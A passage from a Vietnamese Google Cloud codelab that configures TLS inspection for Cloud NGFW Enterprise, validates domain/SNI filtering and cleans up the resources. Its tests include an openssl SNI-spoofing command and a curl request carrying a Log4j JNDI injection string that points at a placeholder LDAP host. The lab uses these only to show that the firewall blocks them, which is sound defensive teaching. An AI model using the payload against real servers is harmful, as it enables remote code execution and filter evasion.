KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Đây là lúc tính năng kiểm tra TLS có thể giúp bạn khắc phục lỗ hổng này.
Đóng kết nối và thoát khỏi máy ảo:
"ctrl" + c exit
18. [Không bắt buộc] Kiểm tra TLS
Định cấu hình tài nguyên TLS
Phần này là không bắt buộc vì tính năng lọc miền/SNI hoạt động mà không cần kiểm tra TLS. Tuy nhiên, bạn có thể muốn kiểm tra TLS (Bảo mật tầng truyền tải) nếu dự định sử dụng tính năng ngăn chặn mối đe doạ hoặc trong tương lai khi có tính năng lọc URL đầy đủ, bạn có thể tạo các quy tắc dựa trên đường dẫn trong hồ sơ bảo mật.
Ngoài ra, tính năng kiểm tra TLS cung cấp thêm một lớp kiểm tra vì có thể xảy ra trường hợp giả mạo SNI.
Tạo một nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng tôi tạo cho NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Nếu bạn nhận được thông báo bên dưới, hãy trả lời y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Tạo một tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Thiết lập quyền IAM cho tài khoản dịch vụ:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Tạo tệp YAML chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Nhập Chính sách kiểm tra TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Cập nhật mối liên kết điểm cuối để bật TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Lấy chứng chỉ CA và thêm chứng chỉ đó vào kho CA của máy khách. Đây là yêu cầu bắt buộc để thiết lập mối quan hệ tin cậy vì NGFW Enterprise sẽ thiết lập TLS (Bảo mật tầng truyền tải) và xuất trình chứng chỉ đã ký từ Nhóm CA:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Chuyển chứng chỉ CA cho ứng dụng:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH vào VM, di chuyển chứng chỉ CA đến /usr/local/share/ca-certificates và cập nhật kho CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Thoát khỏi máy ảo và tiếp tục trên cloudshell.
Cập nhật quy tắc tường lửa để kiểm tra TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Xác thực các quy tắc bằng tính năng kiểm tra TLS
Bắt đầu kết nối SSH với máy ảo thông qua IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Gửi các yêu cầu mẫu đến những đích đến được phép:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Các bài kiểm thử này sẽ vượt qua mà không gặp vấn đề gì. Nếu muốn xem xét chứng chỉ và xác nhận xem chứng chỉ có được NGFW ký hay không, chúng ta có thể chạy lệnh sau:
curl https://ifconfig.me --max-time 2 -vv
Kết quả đầu ra dự kiến:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
Trong đầu ra ở trên, chúng ta có thể thấy rằng yêu cầu đang được NGFW Enterprise kiểm tra TLS vì chứng chỉ nhận được được ký bởi CA gốc mà chúng ta đã tạo trước đó. (trường tổ chức phát hành)
Xác thực các quy tắc cố gắng mạo danh SNI bằng tính năng kiểm tra TLS
Hãy xác thực hành vi ngay bây giờ khi tính năng kiểm tra TLS được bật.
Chạy lệnh openssl sau để giả mạo SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Kết quả đầu ra dự kiến:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Trong đầu ra ở trên, chúng ta thấy rằng một yêu cầu giả mạo SNI từng hoạt động hiện không thành công khi bật tính năng kiểm tra TLS. Lý do là khi bạn bật tính năng kiểm tra TLS, NGFW sẽ kiểm tra SNI dựa trên Tên thay thế của thực thể (SAN) trong chứng chỉ máy chủ. Nếu không khớp, yêu cầu sẽ không thực hiện được cơ chế bắt tay TLS.
Xác thực miền/SNI và ngăn chặn mối đe doạ bằng tính năng kiểm tra TLS
Giờ đây, chúng ta sẽ chạy lại thử nghiệm trước đó cho một yêu cầu độc hại (log4j) đến một miền được phép.
Gửi mẫu độc hại (log4j) đến một đích đến được phép là miền/SNI:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Kết quả đầu ra dự kiến:
000
Mã phản hồi 000 này là do NGFW đã chấm dứt kết nối vì phát hiện thấy mối đe doạ. Chúng ta có thể thu thập thêm thông tin chi tiết để xác nhận.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Kết quả đầu ra dự kiến:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Qua thông tin trên, chúng ta thấy rằng NGFW đã thực hiện quy trình kiểm tra TLS và chặn yêu cầu độc hại.
Thoát khỏi máy ảo:
exit
Chuyển sang phần tiếp theo để xem các bước dọn dẹp.
19. Các bước dọn dẹp
Dọn dẹp chế độ thiết lập cơ bản
Xoá các phiên bản:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Xoá Cloud Router và Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Xoá các địa chỉ IP đã đặt trước:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Dọn dẹp SPG và mối liên kết của Tường lửa trên đám mây
Xoá Nhóm hồ sơ bảo mật và Hồ sơ lọc mối đe doạ và URL theo thứ tự sau:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Xoá mối liên kết điểm cuối của Tường lửa đám mây:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Xoá điểm cuối Tường lửa trên đám mây. Quá trình này có thể mất khoảng 20 phút:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Bạn có thể xác nhận rằng điểm cuối Cloud NGFW đã bị xoá bằng cách chạy lệnh bên dưới:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Trạng thái của điểm cuối phải hiển thị:
STATE: DELETING
Khi quá trình này hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.
[Không bắt buộc] Dọn dẹp TLS
Nếu bạn tiếp tục với các cấu hình kiểm tra TLS không bắt buộc, hãy chạy các lệnh bên dưới để dọn dẹp các tài nguyên TLS.
Xoá chính sách TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Tắt và xoá CA gốc và Nhóm CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Dọn dẹp mạng con và VPC
Cuối cùng, hãy xoá mạng con và mạng VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Kết luận và những điều cần cân nhắc
Phòng thí nghiệm này rất đơn giản và chỉ kiểm thử với một VM kết nối Internet. Trong các trường hợp thực tế, VPC có thể chứa nhiều tài nguyên, lưu lượng truy cập di chuyển theo mọi hướng (Bắc/Nam và Đông/Tây). Vì Quy tắc tường lửa để lọc miền/SNI là EGRESS 0.0.0.0/0, nên đây là quy tắc "bao gồm tất cả" và PHẢI được định cấu hình làm quy tắc có mức độ ưu tiên thấp nhất trong chính sách mạng – nếu không, lưu lượng truy cập sẽ khớp một cách không mong muốn và được cho phép/từ chối dựa trên quy tắc urlFiltering mặc định.
Ngoài ra, hãy cân nhắc sử dụng Loại mạng để giới hạn phạm vi. Điều này giúp ngăn lưu lượng truy cập E/W khớp với quy tắc. Hoặc tạo một quy tắc cho phép có mức độ ưu tiên cao hơn cho lưu lượng truy cập E/W.
Vui lòng xem tài liệu về các phương pháp hay nhất để biết thêm thông tin chi tiết về tính năng lọc miền/SNI.
21. Xin chúc mừng!
Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Cloud NGFW Enterprise để lọc miền và SNI bằng tính năng kiểm tra TLS (không bắt buộc)!